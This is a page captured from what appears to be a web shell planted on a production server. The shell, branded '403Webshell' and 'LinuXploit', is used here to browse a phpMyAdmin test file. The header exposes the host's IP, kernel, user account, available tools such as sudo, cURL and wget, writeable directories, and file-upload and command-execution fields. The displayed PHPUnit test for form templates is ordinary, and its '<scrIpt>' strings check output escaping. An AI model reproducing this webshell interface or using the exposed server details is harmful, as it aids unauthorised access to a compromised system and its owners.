403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/prod1.wondermakr.com/phpmyadmin/test/classes/Config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/prod1.wondermakr.com/phpmyadmin/test/classes/Config/FormDisplayTemplateTest.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin\Tests\Config;

use PhpMyAdmin\Config;
use PhpMyAdmin\Config\FormDisplayTemplate;
use PhpMyAdmin\Tests\AbstractTestCase;

/**
 * @covers \PhpMyAdmin\Config\FormDisplayTemplate
 */
class FormDisplayTemplateTest extends AbstractTestCase
{
    /** @var FormDisplayTemplate */
    protected $formDisplayTemplate;

    /** @var Config */
    protected $config;

    /**
     * Setup tests
     */
    protected function setUp(): void
    {
        parent::setUp();
        parent::setLanguage();
        $this->config = new Config();
        $this->formDisplayTemplate = new FormDisplayTemplate($this->config);
    }

    /**
     * Test for displayInput()
     */
    public function testDisplayInput(): void
    {
        $opts = [];
        $opts['errors'] = ['e1'];
        $opts['userprefs_allow'] = false;
        $opts['setvalue'] = ':group';
        $opts['doc'] = 'https://example.com/';
        $opts['comment'] = 'testComment';
        $opts['comment_warning'] = true;
        $opts['show_restore_default'] = true;
        $result = $this->formDisplayTemplate->displayInput(
            'test/path',
            'testName',
            'text',
            'val',
            'desc',
            false,
            $opts
        );

        self::assertStringContainsString('<tr class="group-header-field group-header-1 disabled-field">', $result);

        self::assertStringContainsString('<label for="test/path">', $result);

        self::assertStringContainsString('<a href="https://example.com/" target="documentation"', $result);

        self::assertStringContainsString(
            '<img src="themes/dot.gif" title="Documentation" alt="Documentation" class="icon ic_b_help"',
            $result
        );

        self::assertStringContainsString('<span class="disabled-notice"', $result);

        self::assertStringContainsString('<small>', $result);

        self::assertStringContainsString(
            '<input type="text" name="test/path" id="test/path" value="val" class="w-75 custom field-error">',
            $result
        );

        self::assertStringContainsString('<a class="restore-default hide" href="#test/path"', $result);

        self::assertStringContainsString('<dl class="inline_errors">', $result);
        self::assertStringContainsString('<dd>e1</dd>', $result);
        self::assertStringContainsString('</dl>', $result);

        // second case

        $this->config->set('is_setup', true);
        $opts = [];
        $opts['errors'] = [];
        $opts['setvalue'] = 'setVal';
        $opts['comment'] = 'testComment';
        $opts['show_restore_default'] = true;
        $opts['userprefs_comment'] = 'userprefsComment';
        $opts['userprefs_allow'] = true;

        $result = $this->formDisplayTemplate->displayInput(
            'test/path',
            'testName',
            'checkbox',
            'val',
            '',
            false,
            $opts
        );

        self::assertStringContainsString('<tr class="group-field group-field-1">', $result);

        self::assertStringContainsString('<input type="checkbox" name="test/path" id="test/path" checked>', $result);

        self::assertStringContainsString('<a class="userprefs-comment" title="userprefsComment">', $result);

        self::assertStringContainsString(
            '<td class="userprefs-allow" title="Allow users to customize this value">',
            $result
        );

        self::assertStringContainsString(
            '<a class="set-value hide" href="#test/path=setVal" title="Set value: setVal">',
            $result
        );

        // short_text
        $opts = [];
        $opts['errors'] = [];

        $result = $this->formDisplayTemplate->displayInput(
            'test/path',
            'testName',
            'short_text',
            'val',
            '',
            true,
            $opts
        );

        self::assertStringContainsString(
            '<input type="text" size="25" name="test/path" id="test/path" value="val" class="">',
            $result
        );

        // number_text
        $result = $this->formDisplayTemplate->displayInput(
            'test/path',
            'testName',
            'number_text',
            'val',
            '',
            true,
            $opts
        );

        self::assertStringContainsString(
            '<input type="number" name="test/path" id="test/path" value="val" class="">',
            $result
        );

        // select case 1
        $opts['values_escaped'] = true;
        $opts['values_disabled'] = [
            1,
            2,
        ];
        $opts['values'] = [
            1 => 'test',
            'key1' => true,
            'key2' => false,
        ];
        $result = $this->formDisplayTemplate->displayInput('test/path', 'testName', 'select', true, '', true, $opts);
        self::assertStringContainsString('<select name="test/path" id="test/path" class="w-75">', $result);

        self::assertStringContainsString('<option value="1" selected disabled>', $result);

        self::assertStringContainsString('<option value="key1">', $result);

        self::assertStringContainsString('<option value="key2">', $result);

        // select case 2
        $opts['values_escaped'] = false;
        $opts['values_disabled'] = [
            1,
            2,
        ];
        $opts['values'] = [
            'a<b' => 'c&d',
            'key1' => true,
            'key2' => false,
        ];
        $result = $this->formDisplayTemplate->displayInput('test/path', 'testName', 'select', false, '', true, $opts);

        self::assertStringContainsString('<select name="test/path" id="test/path" class="w-75">', $result);

        // assertContains doesn't seem to work with htmlentities
        self::assertStringContainsString('<option value="a&lt;b">c&amp;d</option>', $result);

        // list
        $result = $this->formDisplayTemplate->displayInput(
            'test/path',
            'testName',
            'list',
            [
                'foo',
                'bar',
            ],
            '',
            true,
            $opts
        );

        self::assertStringContainsString(
            '<textarea cols="35" rows="5" name="test/path" id="test/path" class="">',
            $result
        );
    }

    /**
     * Test for displayGroupHeader()
     */
    public function testDisplayGroupHeader(): void
    {
        self::assertSame('', $this->formDisplayTemplate->displayGroupHeader(''));

        $this->formDisplayTemplate->group = 3;

        $this->config->set('is_setup', true);

        $result = $this->formDisplayTemplate->displayGroupHeader('headerText');

        self::assertStringContainsString('<tr class="group-header group-header-4">', $result);

        // without PMA_SETUP
        $this->config->set('is_setup', false);

        $this->formDisplayTemplate->group = 3;

        $result = $this->formDisplayTemplate->displayGroupHeader('headerText');

        self::assertStringContainsString('<tr class="group-header group-header-4">', $result);
    }

    /**
     * Test for displayGroupFooter()
     */
    public function testDisplayGroupFooter(): void
    {
        $this->formDisplayTemplate->group = 3;
        $this->formDisplayTemplate->displayGroupFooter();
        self::assertSame(2, $this->formDisplayTemplate->group);
    }

    /**
     * Test for addJsValidate()
     */
    public function testAddJsValidate(): void
    {
        $validators = [
            'one' => [
                '\\\';',
                '\r\n\\\'<scrIpt></\' + \'script>',
            ],
            'two' => [],
        ];

        $js = [];

        $this->formDisplayTemplate->addJsValidate('testID', $validators, $js);

        self::assertSame([
            'registerFieldValidator(\'testID\', \'\\\';\', true, '
            . '[\'\\\\r\\\\n\\\\\\\''
            . '<scrIpt></\\\' + \\\'script>\'])',
            'registerFieldValidator(\'testID\', \'\', true)',
        ], $js);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit